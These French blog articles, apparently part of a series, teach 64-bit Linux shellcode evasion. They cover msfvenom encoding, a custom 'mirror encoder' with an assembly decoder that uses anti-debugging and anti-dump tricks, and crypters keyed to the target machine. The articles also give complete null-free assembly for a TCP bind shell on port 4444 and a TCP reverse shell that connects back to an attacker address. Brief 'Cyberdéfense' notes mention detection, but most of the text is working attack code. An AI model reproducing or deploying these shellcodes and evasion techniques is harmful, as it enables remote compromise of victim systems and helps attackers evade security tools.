Linux shellcode 64 bits – Encoders et Crypters

L’objet de cette série d’articles est d’aborder quelques techniques d’évasion pour des shellcodes.

Cet article fait suite à l’article précédent Linux shellcode 64 bites – Obfuscation

Encoders

Le shellcode vu dans l‘article précédent est obfusqué, c’est pas mal, mais on peut faire mieux en utilisant des encoders.

Pour encoder votre shellcode vous avez le choix entre :

  1. Utiliser un encoder existant
  2. Modifier un encoder existant
  3. Créer un nouveau encoder

 

  1. Utiliser un encoder existant 

C’est la solution de facilité mais il faut savoir que les signatures et les algorithmes des encoders publiques sont connues. Si vous pensez à l’encoder polymorphique « shikata ga nai » de Metasploit et bien il est facilement repérable de part la présence systématique de l’instruction (suspecte) FNSTENV.

Si malgré tout la technique vous tente, vous pouvez utiliser l’utilitaire msfvenom de Metasploit.

D’abord, exporter votre shellcode sous format d’opcodes :

for i in $(objdump -d sc64 |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\xeb\x01\xe9\x48\xb9\x02\x50\x4a\x42\x01\x53\x50\x00\x48\x0f\x6e\xc1\x48\xb9\x2d\x12\x1f\x2c\x2e\x20\x18\x00\x48\x0f\x6e\xc9\x0f\xdc\xc1\x48\x0f\x7e\xc1\x0f\x77\x48\x31\xd2\xb0\x30\x51\x48\x8d\x3c\x24\x04\x0b\x0f\x05 

Ensuite il suffit d’envoyer ces opcodes dans un des encoders de msfvenom. Pour avoir la liste des encoders disponibles :

msfvenom -l encoders

Exemple d’encodage du shellcode avec l’encoder XOR :

echo -ne "\xeb\x01\xe9\x48\xb9\x02\x50\x4a\x42\x01\x53\x50\x00\x48\x0f\x6e\xc1\x48\xb9\x2d\x12\x1f\x2c\x2e\x20\x18\x00\x48\x0f\x6e\xc9\x0f\xdc\xc1\x48\x0f\x7e\xc1\x0f\x77\x48\x31\xd2\xb0\x30\x51\x48\x8d\x3c\x24\x04\x0b\x0f\x05 "
| msfvenom -f c -e x64/xor -a x64 --platform linux

Cyberdéfense

En principe les outils modernes du marché suffisent à bloquer ce genre d’encoders car les signatures et algorithmes sont connues.

2. Modifier un encoder existant  

Il suffit de prendre le code source de l’encoder, de le modifier un peu en ajoutant quelques instructions même inutiles. Cela suffit souvent à passer à travers les outils basés sur les signatures ou du pattern-matching.

Cyberdéfense

Les outils basés sur les signatures uniquement ne suffisent plus dans ce cas là, il faut utiliser d’autres techniques de détections, comme l’analyse comportementale en faisant par exemple appel à l’émulation de code.

3. Créer un nouveau encoder

L’avantage d’un encoder tout nouveau c’est que sa signature et son algorithme ne sont pas connus, c’est ce que je vous propose dans cet article.

Le principe est relativement simple : dans un premier temps il faut dumper les opcodes du shellcode puis créer un algorithme qui mixe tous ces opcodes.

Afin de récupérer les opcodes, tous les moyens sont bons, un script Python, un éditeur hexadécimal, la commande xxd, etc…

Sinon vous pouvez toujours récupérer un script de dump tout fait sur www.commandlinefu.com

Une fois que vous avez votre suite d’opcodes il faut trouver une façon de les encoder. Dans ce domaine tout est possible, libre cours à votre imagination !

L’algorithme proposé ici est sommaire, il s’agit de swapper les opcodes comme dans un miroir. J’échange le premier opcode avec le dernier opcode, le deuxième avec l’avant-dernier, etc, La condition pour que cet algorithme fonctionne est un nombre pair d’opcodes ; si ce n’est pas le cas il suffit d’ajouter une instruction inutile en fin de code comme un nop.

Voila, une fois l’algorithme défini, il n’y a plus qu’à le baptiser, coder l’encoder, en général en Python, puis le decoder en assembleur ; j’ai appelé cet encoder, le « mirror encoder ».

Je n’ai pas mis ici le code source de l’encoder, si cela vous intéresse faites-moi signe, je le mettrai en ligne.

Quant au decoder, voici un exemple d’implémentation en assembleur 64 bits utilisant la technique du « JMP-CALL-POP » :

; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64.nasm -o sc64.o
; $ ld sc64.o -o sc64

global _start

section .text   
_start:	
	jmp begin+1		    ; anti dump, disalign opcode
begin:
	db 0xe9	                    
                                    ; anti debugging
	rdtsc                       ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])
	xor ecx,ecx                 ; sets ECX to zero
	add ecx,eax                 ; save timestamp to ECX
	rdtsc                       ; get another timestamp
	sub eax,ecx                 ; compute elapsed ticks
	cmp eax,0xFFF		    ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)
	jl next
	retn			    ; program crash
next:
 
        jmp ONSTACK   
GO_LOOP:
        pop r8                       ; r8 is the SC address
	xor rcx, rcx                 ; offset to first SC byte
	mov rdx, 0x3d                ; offset to last SC byte = SC length -1         
LOOP:
	cmp rcx, 0x1F                ; SC length / 2 - stop swapping bytes when we are in the middle
	je SC                        ; go to decoded shell code
	
	mov al, byte [r8+rcx]        ; save values
	mov bl, byte [r8+rdx]

	mov byte [r8+rcx], bl        ; swap values
	mov byte [r8+rdx], al
  
	inc rcx                      ; go to next byte from left to right
	dec rdx                      ; go to next byte from right to left
        jmp LOOP                 
section .data
ONSTACK:
	call GO_LOOP
SC:	db 0x05,0x0f,0x0b,0x04,0x24,0x3c,0x8d,0x48,0x51,0x08,0xe9,0xc1,0x48,0x30,0xb0,0x08,0xe1,0xc1,0x48,0xd2,0x31,0x48,0x77,0x0f,0xc1,0x7e,0x0f,0x48,0xc1,0xdc,0x0f,0xc9,0x6e,0x0f,0x48,0x69,0x18,0x20,0x2e,0x2c,0x1f,0x12,0x2d,0xb9,0x48,0xc1,0x6e,0x0f,0x48,0x69,0x50,0x53,0x01,0x42,0x4a,0x50,0x02,0xb9,0x48,0xe9,0x01,0xeb

Cyberdéfense

Un moyen de contrer ces attaques est de passer par de l’émulation de code (je vous conseille d’aller voir le projet Unicorn).

Crypters

Ici l’idée n’est plus d’encoder le shellcode mais bel et bien d’utiliser du chiffrement ( symétrique, ou asymétrique).

Le plus simple est de partir sur un algorithme symétrique comme RC4 ou AES en récupérant une implémentation sur le Net puis de chiffrer le shellcode encodé.

Le chainage

C’est ce que j’appelle la totale !

C’est le chainage de toutes les techniques d’évasion sur un même shellcode.

On part du shellcode d’origine sur lequel on applique de l’obfuscation, puis un encoder et enfin un crypter.

Mais un bon décodeur se doit de masquer sa clef de déchiffrement.

Pour cela il peut utiliser comme clef un identifiant unique de la machine cible (son nom, son ip, etc) de telle sorte que si on exécute ou émule le code du décoder sur une autre machine, on aboutisse à rien de significatif.

 

Linux shellcode 64 bits – Toolbox

Cet article sert de boîte à outils à shellcodes.

J’y mettrai au fil du temps toute une liste de shellcodes afin de servir des objectifs divers et variés.

  • TCP Bind Shell – Exploit Safe

Le shellcode est envoyé à la victime et celle-ci écoute (bind) sur un port tcp (4444). L’attaquant initie la connexion vers la victime.

Le code ci-dessous est « exploit safe », il n’y a donc pas de zéros dans les opcodes.

; TCP Bind Shell - Exploit safe (no zeros in opcodes)
; Listen port 4444
;
; nasm -f elf64 Bind-Shell-Safe.nasm -o Bind-Shell-Safe.o 
; ld Bind-Shell-Safe.o -o Bind-Shell-Safe

global _start


_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 

	xor rax, rax
	mov al, 41

	xor rdi, rdi
	mov dil, 2
	
	xor rsi, rsi
	mov sil, 1

	xor rdx, rdx
	
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax

	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = INADDR_ANY
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax

	mov dword [rsp-4], eax
	mov word [rsp-6], 0x5c11

	mov word [rsp-8], 0x1FF
	sub word [rsp-8], 0x1FD

	sub rsp, 8

	; bind(sock, (struct sockaddr *)&server, sockaddr_len)
	; syscall number 49

	xor rax, rax
	mov al, 49	

	mov rsi, rsp
	
	xor rdx, rdx
	mov dl, 16	

	syscall

	; listen(sock, MAX_CLIENTS)
	; syscall number 50

	xor rax, rax
	mov al, 50

	xor rsi, rsi
	mov sil, 2
	
	syscall

	; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
	; syscall number 43
	
	xor rax, rax
	mov al, 43

	sub rsp, 16
	mov rsi, rsp
        mov byte [rsp-1], 16
        sub rsp, 1
        mov rdx, rsp

        syscall

	; store the client socket description 
	mov r9, rax 

        ; close parent

	xor rax, rax
	mov al, 3	

        syscall

        ; duplicate sockets

        ; dup2 (new, old)
        mov rdi, r9
        
	xor rax, rax
	mov al, 33        

	xor rsi, rsi

        syscall

	xor rax, rax
	mov al, 33        

	xor rsi ,rsi
	mov sil, 1	

        syscall

	xor rax, rax
	mov al, 33

	xor rsi, rsi
	mov sil, 2	

        syscall

        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp

        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall
  • TCP Reverse Shell – Exploit Safe 

Le shellcode est envoyé à la victime et celle-ci initie la connexion vers l’attaquant (ici sur 127.0.0.1) sur un port tcp (4444). L’avantage est que les flux sortant sont moins filtrés que les flux entrants.

Le code ci-dessous est « exploit safe », il n’y a donc pas de zéros dans les opcodes.

; TCP Reverse Shell - Exploit safe (no zeros in opcodes) 
; Connect on 127.0.0.1 on port 4444
;
; nasm -f elf64 Reverse-Shell-Safe.nasm -o Reverse-Shell-Safe.o
; ld Reverse-Shell-Safe.o -o Reverse-Shell-Safe

global _start


_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 

	xor rax, rax
	add al, 41
	
	xor rdi, rdi
	inc dil
	inc dil

	xor rsi, rsi
	inc sil	

	xor rdx, rdx
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax


	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = inet_addr("127.0.0.1")
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax
	
	;mov dword [rsp-4], 0x0100007f
	mov dword [rsp -4], 0x9A999A18
	sub dword [rsp -4], 0x99999999

	mov word [rsp-6], 0x5c11
	
	;mov word [rsp-8], 0x2
        mov word [rsp-8], 0x1FF
        sub word [rsp-8], 0x1FD

	sub rsp, 8


	; connect(sock, (struct sockaddr *)&server, sockaddr_len)
	
	xor rax, rax
	add al, 42

	mov rsi, rsp
	
	xor rdx, rdx
	add dl, 16	

	syscall


        ; duplicate sockets

        ; dup2 (new, old)
        
	xor rax, rax
	add al, 33

        xor rsi, rsi
	syscall

        xor rax, rax
	add al, 33

        xor rsi, rsi
	inc sil

	syscall

        xor rax, rax
	add al, 33

        xor rsi, rsi
	inc sil
	inc sil	

	syscall


        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp

        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall